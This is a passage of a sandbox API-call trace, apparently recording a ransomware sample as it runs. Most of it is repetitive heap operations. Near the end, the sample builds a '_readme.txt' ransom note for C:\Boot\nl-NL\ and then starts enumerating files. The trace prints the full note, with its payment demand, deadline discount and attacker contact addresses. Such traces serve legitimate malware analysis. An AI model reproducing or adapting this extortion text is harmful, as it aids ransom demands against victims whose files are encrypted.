0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.342] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.343] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.343] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.343] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.348] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.348] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.349] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.349] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.349] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.349] PathFindFileNameW (pszPath="") returned="" [0266.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.349] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.350] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.350] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.350] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.350] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.350] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.350] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.350] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0266.350] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.350] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.350] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0266.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.351] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.351] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.351] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.352] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.352] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.352] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.352] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.352] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 